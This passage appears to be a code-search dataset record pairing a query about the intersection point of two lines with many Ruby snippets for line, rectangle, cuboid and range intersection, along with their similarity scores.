intersects?(other)\n other.vertices.each do |vertex|\n return true if interior?(vertex)\n end\n false\n end", "def intersects(shape)\n p1 = shape.points.length - 1\n for p2 in 0...shape.points.length\n p3 = @points.length - 1\n for p4 in 0...@points.length\n return true if segments_intersection(shape.points[p1], shape.points[p2], @points[p3], @points[p4])\n p3 = p4\n p4 += 1\n end\n p1 = p2\n p2 += 1\n end\n return false\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def rec_intersection(rect1, rect2)\n x_min = [rect1[0][0], rect2[0][0]].max\n x_max = [rect1[1][0], rect2[1][0]].min\n\n y_min = [rect1[0][1], rect2[0][1]].max\n y_max = [rect1[1][1], rect2[1][1]].min\n\n return nil if ((x_max < x_min) || (y_max < y_min)) # no overlap\n return [[x_min, y_min], [x_max, y_max]]\nend", "def overlaps?(other)\n # overlap == start < finish' AND start' < finish\n self.first <= other.actual_last and other.first <= self.actual_last\n end", "def intersect(boundingbox)\n end", "def intersectLineSegment seg\n # this is the intersect defined in method calling on \n # intersectlinesegment\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def vt_intersects?(*args)\n vt_range.intersects?(*args)\n end", "def rec_intersection(rect1, rect2)\n bot_x, bot_y = [rect1[0][0], rect2[0][0]].max, [rect1[0][1], rect2[0][1]].max\n top_x, top_y = [rect1[1][0], rect2[1][0]].min, [rect1[1][1], rect2[1][1]].min\n return nil if bot_x > top_x || bot_y > top_y\n [[bot_x, bot_y], [top_x, top_y]]\nend", "def rec_intersection(r1, r2)\n p1 = [[r1[0][0],r2[0][0]].max , [r1[0][1],r2[0][1]].max]\n p2 = [[r1[1][0],r2[1][0]].min , [r1[1][1],r2[1][1]].min]\n if p1[0] < p2[0] && p1[1] < p2[1]\n return [p1,p2]\n else\n return nil\n end\nend", "def intersects?(other)\n !!intersection_with(other)\n end", "def tt_intersects?(*args)\n tt_range.intersects?(*args)\n end", "def in?(px, py)\n ix, iy = @max+100, @max+100\n nbintersections = 0\n @points.each_index do |index|\n ax, ay = *@points[index]\n bx, by = *@points[(index + 1) % @points.length]\n nbintersections += intersectsegment(ax, ay, bx, by, ix, iy, px, py)\n end\n return (nbintersections%2 == 1)\n end", "def intersect point1, point2, a1, b1, x1, x2\n a2 = (point2.latitude - point1.latitude)/(point2.longitude-point1.longitude)\n b2 = point1.latitude - a2*point1.longitude\n x = (b2-b1)/(a1-a2)\n x3 = point1.longitude < point2.longitude ? point1.longitude : point2.longitude\n x4 = point1.longitude > point2.longitude ? point1.longitude : point2.longitude\n x >= x1 && x <= x2 && x >= x3 && x <= x4\n end", "def overlap(first_rectangle, second_rectangle)\n\tfirst_rectangle_x1 = first_rectangle[0][0]\n\tfirst_rectanlge_y1 = first_rectangle[0][1]\n\tfirst_rectangle_x2 = first_rectangle[1][0]\n\tfirst_rectanlge_y2 = first_rectangle[1][1]\n\n\tsecond_rectangle_x1 = second_rectangle[0][0]\n\tsecond_rectanlge_y1 = second_rectangle[0][1]\n\tsecond_rectangle_x2 = second_rectangle[1][0]\n\tsecond_rectanlge_y2 = second_rectangle[1][1]\n\n\tif first_rectangle_x1 < second_rectangle_x2 && first_rectangle_x2 > second_rectangle_x1 && first_rectanlge_y1 < second_rectanlge_y2 && first_rectanlge_y2 > second_rectanlge_y1\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "def intersects?(subnet)\n includes? subnet.first or includes? subnet.last\n end", "def crossing?(other)\n return false unless overlaps?(other)\n (@begin_pos <=> other.begin_pos) * (@end_pos <=> other.end_pos) == 1\n end", "def get_intersection\n end", "def intersects?(r2)\n if @p2.x <= r2.p1.x or r2.p2.x <= @p1.x \n return false\n elsif @p2.y >= r2.p1.y or r2.p2.y >= @p1.y\n end\n return true\n end", "def overlap_ok?\n # if overlap: true\n end", "def intersection(other)\n # If rects don't overlap, then the line segments can't intersect.\n # Note that this handles the paralle case, as well as the case\n # where the intersection is outside the line segments.\n return nil unless rect_overlaps?(other)\n det = @a * other.b - other.a * @b\n # Shouldn't happen, but just in case.\n # Note: Everyting's an integer so far.\n return nil if det == 0\n\n x_float = (other.b * @c - @b * other.c).to_f / det.to_f\n y_float = (@a * other.c - other.a * @c).to_f / det.to_f\n \n intersect = Point.new(x_float.round, y_float.round)\n if rect.contains(intersect) && other.rect.contains(intersect)\n return intersect\n else\n return nil\n end\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersection(note_a, note_b)\n\n return (note_a[0] <= note_b[1] and note_a[1] >= note_b[0])\n\n end", "def intersects?(other)\n raise \"NOT A CUBOID\" unless other.is_a? Cuboid \n self_range = range_finder\n other_range = other.range_finder\n\n self_range.each do |k,_|\n return false unless overlap?(self_range[k], other_range[k])\n end \n\n true \n end", "def intersection_segment(pt1, pt2, pt3, pt4)\n pt = intersection(pt1, pt2, pt3, pt4)\n \n segment_length = pt3.dist_to(pt4)\n \n dist3 = pt.dist_to(pt3)\n dist4 = pt.dist_to(pt4)\n \n if dist3 + dist4 == segment_length\n pt\n else\n nil\n end\n \n # slope = pt4.slope_to(pt3)\n # \n # y1 = pt.x * slope + pt3.y\n # y2 = pt.x * slope + pt4.y\n # \n # y1 == pt.y or y2 == pt.y\n end", "def intersects?(*args)\n other = coerce_range(*args)\n raise ArgumentError, \"#{self.begin.class} expected, received #{other.begin.class}\" unless other.begin.kind_of?(self.begin.class)\n\n if other.instant?\n self.begin <= other.begin and other.end < self.end\n else\n other.begin < self.end and self.begin < other.end\n end\n end", "def range_intersect?(s1, s2)\n s1range = s1.to_a.min..s1.to_a.max\n s2range = s2.to_a.min..s2.to_a.max\n return s1range.include?(s2range.first) || s2range.include?(s1range.first)\nend", "def test_range_overlap_for_intersecting_ranges\n segment = basic_segment\n segment.instance_variable_set(:@start_time, 1.0)\n segment.instance_variable_set(:@end_time, 3.0)\n\n assert_in_delta(1.0, segment.send(:range_overlap, 2.0..4.0))\n end", "def intersects?(other)\n if origin <= other.origin\n vertices.each { |vertex| return true if vertex > other.origin }\n else\n other.vertices.each { |vertex| return true if vertex > origin }\n end\n false\n end", "def rec_intersection(rect1, rect2)\n\txmin = rect1[0][0] > rect2[0][0] ? rect1[0][0] : rect2[0][0]\n\txmax = rect1[1][0] > rect2[1][0] ? rect2[1][0] : rect1[1][0]\n\tymin = rect1[0][1] > rect2[0][1] ? rect1[0][1] : rect2[0][1]\n\tymax = rect1[1][1] > rect2[1][1] ? rect2[1][1] : rect1[1][1]\n\nreturn nil if ((xmax < xmin) || (ymax < ymin))\nreturn [ [xmin, ymin], [xmax, ymax] ]\nend", "def overlap?(epsa, epsb)\r\n return false if epsa[1] < epsb[0] || epsa[0] > epsb[1]\r\n true\r\nend", "def intersect( v1, v2 )\n b1, b2 = bound( v1 ), bound( v2 )\n cr = []\n if b1 && b2 then\n\tres = 0\n elsif b1 then\n\tcr = cross( v1, v2 )\n\tres =1\n elsif b2 then \n\tcr = cross( v1, v2 )\n\tres =2\n else\n\tcr = cross( v1, v2 )\n\tif cr.size == 2 then\n\t res = 3\n\telse\n\t res = 4\n\tend\n end\n return res, cr\n end", "def intersects?(other)\n return false if self.equal?(other)\n !(above?(other) || below?(other) || right_of?(other) || left_of?(other) || behind?(other) || in_front_of?(other))\n end", "def intersects?(other)\n self_index = dimensions(self.vertices)\n other_index = dimensions(other.vertices)\n\n intersection = {}\n intersection[:x] = self_index[:x] & other_index[:x]\n intersection[:y] = self_index[:y] & other_index[:y]\n intersection[:z] = self_index[:z] & other_index[:z]\n\n intersection.value?([]) ? false : true\n end", "def fully_includes?(other)\n overlaps?(other) && other == intersection(other)\n end", "def intersects? other\n\t\t\t\tother.any?{|path| include?(path)}\n\t\t\tend", "def line_intersect_line?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def intersects?(other)\n# (@x <= other.x_outer && other.x <= @x_outer) || (@y <= other.y_outer && other.y <= @y_outer) ||\n# (@z <= other.z_outer && other.z <= @z_outer)\n\n\n (other.x < (@x + @l)) && ((other.x + other.l) > @x) &&\n (other.y < (@y + @w)) && ((other.y + other.w) > @y) &&\n (other.z < (@z + @h)) && ((other.z + other.h) > @z)\n\n end", "def included_in?(other_rect)\n self == self.intersects(other_rect)\n end", "def overlaps?(another)\n (start_date - another.end_date) * (another.start_date - end_date) >= 0\n end", "def intersect?(o)\n self.class == o.class && !(@to < o.numeric_from || o.numeric_to < @from)\n end", "def lineIntersects _args\n \"lineIntersects _args;\" \n end", "def cross(v1, v2)\n dx, dy = v2[0] - v1[0], v2[1] - v1[1]\n cr = [] # array containing intersections\n\n if dx == 0 and dy ==0 then\n\tnc = 0\n elsif dx == 0 then\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n elsif dy == 0 then\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n else\n\tt = ( 0.0 - v1[1] ) / dy # y = 0\n\tx , y = v1[0] + t * dx, v1[1] + t * dy\n cr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[1] ) / dy # y = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if x >= 0 && x <= 1 && t >= 0 && t <= 1\n\tt = ( 0.0 - v1[0] ) / dx # x = 0\n\tx, y = v1[0] + t * dx, v1[1] + t * dy\n\tcr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n\tt = ( 1.0 - v1[0] ) / dx # x = 1\n\tx, y = v1[0] + t * dx, v1[1] + t * dy \n cr.push( [x, y] ) if y >= 0 && y <= 1 && t >= 0 && t <= 1\n end\n return cr\n end", "def overlapping?(left, right)\n (tuples(left) & tuples(right)).any?\n end", "def rect_intersection(r1, r2)\n return (r1.x + r1.width > r2.x && r1.x < r2.x + r2.width &&\n r1.y + r1.height > r2.y && r1.y < r2.y + r2.height)\n end", "def overlap(a, b)\n o = a.to_a & b.to_a\n o.size < 2 ? nil : (o.first..o.last)\nend", "def overlaps?(other)\n \t((start_date - other.end_date) * (other.start_date - end_date)) >= 0\n \tend", "def intersects_plane?(inst1,t1,plane_group,t2)\n #we will perform a test intersection to see if any new edges were created.\n if @helper_group==nil\n @helper_group=Sketchup.active_model.active_entities.add_group #this group will contain the edges from the test intersection\n @helper_group.entities.add_cpoint([0,0,0]) #adding a construction point to ensure that this group contains something to avoid automatic deletion by SketchUp\n end\n ents1=get_entities(inst1)\n ents2=@helper_group.entities\n new_edges=ents1.intersect_with(false,t1,ents2,@helper_group.transformation,false,[plane_group])\n\n if new_edges.length>0 #if new edges were created by the intersection\n return true\n else\n return false\n end\n end", "def overlaps?(other)\n (self.check_in - other.check_out) * (other.check_in - self.check_out) >= 0\n end", "def test_add_intersection\n # Intersection at (1,1)\n canon = CanonicalLineSegList.new\n canon.add(LineSeg.new(p(0,0), p(2,2)))\n canon.add(LineSeg.new(p(0,2), p(2,0)))\n assert_equal(4, canon.line_segs.size)\n expect(canon, \n [\n LineSeg.new(p(0,0), p(1,1)), LineSeg.new(p(1,1), p(2,2)),\n LineSeg.new(p(0,2), p(1,1)), LineSeg.new(p(1,1), p(2,0))\n ]\n )\n \n end", "def inside_rect?(point1, point2)\n lats = [point1.lat, point2.lat].sort\n lons = [point1.lon, point2.lon].sort\n la = self.lat\n lo = self.lon\n\n (la >= lats[0] && la <= lats[1] && lo >= lons[0] && lo <= lons[1])\n end", "def intersects?(other)\n @origin.keys.each do |axis|\n return false unless min_lte_max(axis, other) && max_gte_min(axis, other)\n end\n true\n end", "def intersection_of(range_a, range_b)\n range_a, range_b = [range_a, range_b].sort_by(&:begin)\n return if range_a.end < range_b.begin\n heads_and_tails = [range_a.begin, range_b.begin, range_a.end, range_b.end].sort\n middle = heads_and_tails[1..-2]\n middle[0]..middle[1]\n end", "def intersect(ray)\n # Must be overriden be subclasses\n end", "def intersects?(other)\n if !(self.x2 < other.x1) &&\n !(other.x2 < self.x1) &&\n !(self.y2 < other.y1) &&\n !(other.y2 < self.y1) &&\n !(self.z2 < other.z1) &&\n !(other.z2 < self.z1)\n return true\n else\n return false\n end\n end", "def intersect?(r)\n @x < r.x + r.w && @x + @w > r.x && @y < r.y + r.h && @y + @h > r.y\n end", "def check_intersection(line1, line2)\n # Lines that share an endpoint cannot intersect; due to precision\n # issues, we need to make an explicit check for this, and stick\n # a delta on it besides\n if (check_endpoints(line1, line2, POINT_DELTA))\n return false\n end\n x1 = line1.start_point.x\n x2 = line1.end_point.x\n x3 = line2.start_point.x\n x4 = line2.end_point.x\n y1 = line1.start_point.y\n y2 = line1.end_point.y\n y3 = line2.start_point.y\n y4 = line2.end_point.y\n den = (x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4)\n point_x = (x1 * y2 - y1 * x2) * (x3 - x4) - (x1 - x2) * (x3 * y4 - x4 * y3)\n if (den == 0)\n return false\n end\n point_x = point_x / den\n if ((x1 > x2 && point_x >= x1) || (x1 < x2 && point_x <= x1) ||\n (x3 > x4 && point_x >= x3) || (x3 < x4 && point_x <= x3) ||\n (x1 > x2 && point_x <= x2) || (x1 < x2 && point_x >= x2) ||\n (x3 > x4 && point_x <= x4) || (x3 < x4 && point_x >= x4))\n return false\n end\n # The above fails for any perfectly (or, due to precision issues,\n # sufficiently) vertical lines that would intersect (if extended to)\n # the other line; check y instead in that case:\n if ((x1 + POINT_DELTA > x2 && x1 - POINT_DELTA < x2) ||\n (x3 + POINT_DELTA > x4 && x3 - POINT_DELTA < x4))\n point_y = (x1 * y2 - y1 * x2) * (y3 - y4) - (y1 - y2) * (x3 * y4 - x4 * y3)\n point_y = point_y / den\n if ((y1 > y2 && point_y >= y1) || (y1 < y2 && point_y <= y1) ||\n (y3 > y4 && point_y >= y3) || (y3 < y4 && point_y <= y3) ||\n (y1 > y2 && point_y <= y2) || (y1 < y2 && point_y >= y2) ||\n (y3 > y4 && point_y <= y4) || (y3 < y4 && point_y >= y4))\n return false\n end\n end\n return true\nend", "def test_range_overlap_for_non_intersecting_ranges\n segment = basic_segment\n segment.instance_variable_set(:@start_time, 1.0)\n segment.instance_variable_set(:@end_time, 3.0)\n\n assert_in_delta(0.0, segment.send(:range_overlap, 4.0..5.0))\n end", "def intersects?(other)\n horizontal_intersection = self.horizontal_intersection?(other)\n vertical_intersection = self.vertical_intersection?(other)\n within_z_index_range = self.within_z_index_range?(other)\n\n return within_z_index_range && vertical_intersection && horizontal_intersection\n\n end", "def checkSrepIntersection\n (0..$sreps.length-1).each do |j|\n (0..$sreps.length-1).each do |i|\n if i != j\n $sreps[j].checkIntersection($sreps[i])\n end\n end\n end\n end", "def circular?\n self.overlaps.size == self.segment_names.size\n end", "def intersection(another_transmembrane_domain_defintion)\n res = (@start..@stop).to_a & (another_transmembrane_domain_defintion.start..another_transmembrane_domain_defintion.stop).to_a\n res.empty? ? nil : (res.first..res.last)\n end", "def lineIntersectsWith _args\n \"lineIntersectsWith _args;\" \n end", "def overlap(compare)\n if((@start <= compare.end && @start >= compare.start) ||\n (@end <= compare.end && @end >= compare.start) ||\n (compare.end <= @end && compare.end >= @start) ||\n (compare.start <= @end && compare.start >= @start))\n return true\n else\n return false\n end\n end", "def arel_tt_intersect(instant, range_end)\n arel_intersect(:ttstart_at, :ttend_at, instant, range_end)\n end", "def intersect _obj, _args\n \"_obj intersect _args;\" \n end", "def supports_intersect_except?\n false\n end", "def supports_intersect_except?\n false\n end", "def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end", "def same?(other)\n (from_end == other.from_end and\n to_end == other.to_end and\n overlap == other.overlap)\n end", "def intersection_point(a1, a2, b1, b2)\n ip = nil\n bounds_x = bounds(a1.x, a2.x)\n bounds_y = bounds(a1.y, a2.y)\n # first line is horizontal\n if a1.y == a2.y\n # second line is vertical -> there can be an intersection\n if b2.x == b1.x\n ip = Coord2.new(b1.x, a1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.y, b2.y)\n\n return nil if b1.x < bounds_x[0] || b1.x > bounds_x[1]\n return nil if bounds_b[0] > bounds_y[0] || bounds_b[1] < bounds_y[1]\n end\n # first line is vertical\n elsif a1.x == a2.x\n # second line is horizontal -> there can be an intersection\n if b2.y == b1.y\n ip = Coord2.new(a1.x, b1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.x, b2.x)\n return nil if b1.y < bounds_y[0] || b1.y > bounds_y[1]\n return nil if bounds_b[0] > bounds_x[0] || bounds_b[1] < bounds_x[1]\n end\n end\n\n ip\n end", "def intersection(a,b)\n len1=a.length\n len2=b.length\n ctr1=0\n ctr2=0\n puts \"Intersection of the gives arrays:\"\n while (ctr1<len1 && ctr2<len2)\n if a[ctr1]==b[ctr2]\n print \"#{a[ctr1]} \"\n ctr1+=1\n ctr2+=1\n elsif a[ctr1]<b[ctr2]\n ctr1+=1\n else\n ctr2+=1\n end\n end\nend", "def point_in_rectangle(point_x, point_y, first_x, first_y, second_x, second_y)\r\n\t\tif point_x.between?(first_x, second_x) and point_y.between?(first_y, second_y)\r\n\t\t\treturn true\r\n\t\tend\r\n\tend" ]
[ "0.80692124", "0.77317417", "0.7475792", "0.71670705", "0.71397436", "0.71308225", "0.7055296", "0.7055296", "0.7055296", "0.70465744", "0.7041045", "0.7039989", "0.7009764", "0.6992662", "0.69529015", "0.6947749", "0.6910738", "0.6888599", "0.6869334", "0.685394", "0.6851916", "0.6846527", "0.6846342", "0.6846342", "0.6846342", "0.68335617", "0.6828666", "0.68174756", "0.68174756", "0.68174756", "0.67468625", "0.6706673", "0.6703714", "0.6684924", "0.66845566", "0.6679113", "0.6649398", "0.66453445", "0.6639885", "0.66359043", "0.6633746", "0.66329217", "0.6629046", "0.6622407", "0.6618711", "0.66126573", "0.6605484", "0.6601113", "0.6588855", "0.65848947", "0.65769935", "0.65727276", "0.6571395", "0.6565519", "0.6559133", "0.6552293", "0.6533333", "0.65160376", "0.6504357", "0.6492887", "0.6486146", "0.6476633", "0.6473308", "0.6455114", "0.6449475", "0.6437705", "0.6421954", "0.6417733", "0.6408244", "0.63729936", "0.6370184", "0.63666385", "0.6356705", "0.6349737", "0.6346393", "0.6338339", "0.6329688", "0.62939423", "0.62887126", "0.6272198", "0.62704957", "0.62599885", "0.6255465", "0.62472355", "0.6244507", "0.6238192", "0.6238043", "0.6236525", "0.6225794", "0.62095445", "0.61979806", "0.619125", "0.6177659", "0.6173574", "0.6173574", "0.6161127", "0.6161127", "0.61610657", "0.61517644", "0.61471444" ]
0.65056777
58
Intersection point between the two lines
def bbpIntersectPoint(point_a, point_b, point_c, point_d) rise 'Method not implemented' end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def intersection_point(a1, a2, b1, b2)\n ip = nil\n bounds_x = bounds(a1.x, a2.x)\n bounds_y = bounds(a1.y, a2.y)\n # first line is horizontal\n if a1.y == a2.y\n # second line is vertical -> there can be an intersection\n if b2.x == b1.x\n ip = Coord2.new(b1.x, a1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.y, b2.y)\n\n return nil if b1.x < bounds_x[0] || b1.x > bounds_x[1]\n return nil if bounds_b[0] > bounds_y[0] || bounds_b[1] < bounds_y[1]\n end\n # first line is vertical\n elsif a1.x == a2.x\n # second line is horizontal -> there can be an intersection\n if b2.y == b1.y\n ip = Coord2.new(a1.x, b1.y)\n # Then we check if the point actually intersects\n bounds_b = bounds(b1.x, b2.x)\n return nil if b1.y < bounds_y[0] || b1.y > bounds_y[1]\n return nil if bounds_b[0] > bounds_x[0] || bounds_b[1] < bounds_x[1]\n end\n end\n\n ip\n end", "def line_line_intersection(l1s, l1e, l2s, l2e)\n seg1 = l1e - l1s\n seg2 = l2e - l2s\n\n d = (-seg2.x * seg1.y + seg1.x * seg2.y)\n\n s = (-seg1.y * (l1s.x - l2s.x) + seg1.x * (l1s.y - l2s.y)) / d;\n t = ( seg2.x * (l1s.y - l2s.y) - seg2.y * (l1s.x - l2s.x)) / d;\n\n if s > 0 && s < 1 && t > 0 && t < 1\n x = l1s.x + (t * seg1.x)\n y = l1s.y + (t * seg1.y)\n\n V.new(x, y)\n end\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def intersectLineSegment seg\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def line_intersection(l1, l2)\n x1 = l1[0][0]; x2 = l1[1][0]; x3 = l2[0][0]; x4 = l2[1][0]\n y1 = l1[0][1]; y2 = l1[1][1]; y3 = l2[0][1]; y4 = l2[1][1]\n\n denominator = (x1-x2)*(y3-y4) - (y1-y2)*(x3-x4)\n return false if denominator == 0\n dxy12 = (x1*y2 - y1*x2)\n dxy34 = (x3*y4 - y3*x4)\n x = (dxy12*(x3-x4) - (x1-x2)*dxy34) / denominator\n y = (dxy12*(y3-y4) - (y1-y2)*dxy34) / denominator\n WorldGen::Vector[x.round, y.round]\n end", "def line_intersect_line?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def intersectLineSegment seg\n # this is the intersect defined in method calling on \n # intersectlinesegment\n line_result = intersect(two_points_to_line(seg.x1,seg.y1,seg.x2,seg.y2))\n line_result.intersectWithSegmentAsLineResult seg\n end", "def line_intersection(x1, y1, x2, y2, x3, y3, x4, y4)\n # calculate vector products\n d1 = (x3 - x1) * (y4 - y1) - (x4 - x1) * (y3 - y1)\n d2 = (x3 - x2) * (y4 - y2) - (x4 - x2) * (y3 - y2)\n d3 = (x1 - x3) * (y2 - y3) - (x2 - x3) * (y1 - y3)\n d4 = (x1 - x4) * (y2 - y4) - (x2 - x4) * (y1 - y4)\n # check vector product results\n if (d1 > 0 && d2 < 0 || d1 < 0 && d2 > 0) &&\n (d3 > 0 && d4 < 0 || d3 < 0 && d4 > 0)\n # intersection exists\n return true\n end\n # if at least one point of one line lies on the other line\n if d1 == 0 && (x3 < x4 ? x3 : x4) <= x1 && x1 <= (x3 > x4 ? x3 : x4) &&\n (y3 < y4 ? y3 : y4) <= y1 && y1 <= (y3 > y4 ? y3 : y4) ||\n d2 == 0 && (x3 < x4 ? x3 : x4) <= x2 && x2 <= (x3 > x4 ? x3 : x4) &&\n (y3 < y4 ? y3 : y4) <= y2 && y2 <= (y3 > y4 ? y3 : y4) ||\n d3 == 0 && (x1 < x2 ? x1 : x2) <= x3 && x3 <= (x1 > x2 ? x1 : x2) &&\n (y1 < y2 ? y1 : y2) <= y3 && y3 <= (y1 > y2 ? y1 : y2) ||\n d4 == 0 && (x1 < x2 ? x1 : x2) <= x4 && x4 <= (x1 > x2 ? x1 : x2) &&\n (y1 < y2 ? y1 : y2) <= y4 && y4 <= (y1 > y2 ? y1 : y2)\n # intersection exists\n return true\n end\n # intersection does not exist\n return false\n end", "def intersection(other)\n # If rects don't overlap, then the line segments can't intersect.\n # Note that this handles the paralle case, as well as the case\n # where the intersection is outside the line segments.\n return nil unless rect_overlaps?(other)\n det = @a * other.b - other.a * @b\n # Shouldn't happen, but just in case.\n # Note: Everyting's an integer so far.\n return nil if det == 0\n\n x_float = (other.b * @c - @b * other.c).to_f / det.to_f\n y_float = (@a * other.c - other.a * @c).to_f / det.to_f\n \n intersect = Point.new(x_float.round, y_float.round)\n if rect.contains(intersect) && other.rect.contains(intersect)\n return intersect\n else\n return nil\n end\n end", "def check_intersection(line1, line2)\n # Lines that share an endpoint cannot intersect; due to precision\n # issues, we need to make an explicit check for this, and stick\n # a delta on it besides\n if (check_endpoints(line1, line2, POINT_DELTA))\n return false\n end\n x1 = line1.start_point.x\n x2 = line1.end_point.x\n x3 = line2.start_point.x\n x4 = line2.end_point.x\n y1 = line1.start_point.y\n y2 = line1.end_point.y\n y3 = line2.start_point.y\n y4 = line2.end_point.y\n den = (x1 - x2) * (y3 - y4) - (y1 - y2) * (x3 - x4)\n point_x = (x1 * y2 - y1 * x2) * (x3 - x4) - (x1 - x2) * (x3 * y4 - x4 * y3)\n if (den == 0)\n return false\n end\n point_x = point_x / den\n if ((x1 > x2 && point_x >= x1) || (x1 < x2 && point_x <= x1) ||\n (x3 > x4 && point_x >= x3) || (x3 < x4 && point_x <= x3) ||\n (x1 > x2 && point_x <= x2) || (x1 < x2 && point_x >= x2) ||\n (x3 > x4 && point_x <= x4) || (x3 < x4 && point_x >= x4))\n return false\n end\n # The above fails for any perfectly (or, due to precision issues,\n # sufficiently) vertical lines that would intersect (if extended to)\n # the other line; check y instead in that case:\n if ((x1 + POINT_DELTA > x2 && x1 - POINT_DELTA < x2) ||\n (x3 + POINT_DELTA > x4 && x3 - POINT_DELTA < x4))\n point_y = (x1 * y2 - y1 * x2) * (y3 - y4) - (y1 - y2) * (x3 * y4 - x4 * y3)\n point_y = point_y / den\n if ((y1 > y2 && point_y >= y1) || (y1 < y2 && point_y <= y1) ||\n (y3 > y4 && point_y >= y3) || (y3 < y4 && point_y <= y3) ||\n (y1 > y2 && point_y <= y2) || (y1 < y2 && point_y >= y2) ||\n (y3 > y4 && point_y <= y4) || (y3 < y4 && point_y >= y4))\n return false\n end\n end\n return true\nend", "def intersectWithSegmentAsLineResult seg\n # self is the intersection \n self\n end", "def segments_intersect?(line_one, line_two)\n x1 = line_one[:x]\n y1 = line_one[:y]\n x2 = line_one[:x2]\n y2 = line_one[:y2]\n\n x3 = line_two[:x]\n y3 = line_two[:y]\n x4 = line_two[:x2]\n y4 = line_two[:y2]\n\n uA = ((x4-x3)*(y1-y3) - (y4-y3)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n uB = ((x2-x1)*(y1-y3) - (y2-y1)*(x1-x3)) / ((y4-y3)*(x2-x1) - (x4-x3)*(y2-y1))\n\n uA >= 0 && uA <= 1 && uB >= 0 && uB <= 1\n end", "def intersection(other)\n other = Point.new(other[0], other[1]) if other.is_a?(Array)\n\n # Other is a Point.\n if other.is_a?(Point)\n return [other] if self.contains?(other)\n return []\n end\n\n # Other is a LinearEntity\n if other.is_a?(LinearEntity)\n # break into cases based on whether\n # the lines are parallel, non-parallel intersecting, or skew\n rank = Point.affine_rank(self.p1, self.p2, other.p1, other.p2)\n if rank == 1\n # we're collinear\n return [other] if self.is_a?(Line)\n return [self] if other.is_a?(Line) \n \n if self.is_a?(Ray) && other.is_a?(Ray)\n return intersect_parallel_rays(self, other)\n end\n\n if self.is_a?(Ray) && other.is_a?(Segment)\n return intersect_parallel_ray_and_segment(self, other)\n end\n\n if self.is_a?(Segment) && other.is_a?(Ray)\n return intersect_parallel_ray_and_segment(other, self)\n end\n\n if self.is_a?(Segment) && other.is_a?(Segment)\n return intersect_parallel_segments(self, other)\n end\n\n elsif rank == 2\n # we're in the same plane\n l1 = Line.new(self.p1, self.p2)\n l2 = Line.new(other.p1, other.p2)\n\n # check to see if we're parallel. If we are, we can't\n # be intersecting, since the collinear case was already\n # handled\n return [] if l1.parallel_to?(l2)\n \n # Use Cramers rule:\n # https://en.wikipedia.org/wiki/Cramer%27s_rule\n det = l1.a * l2.b - 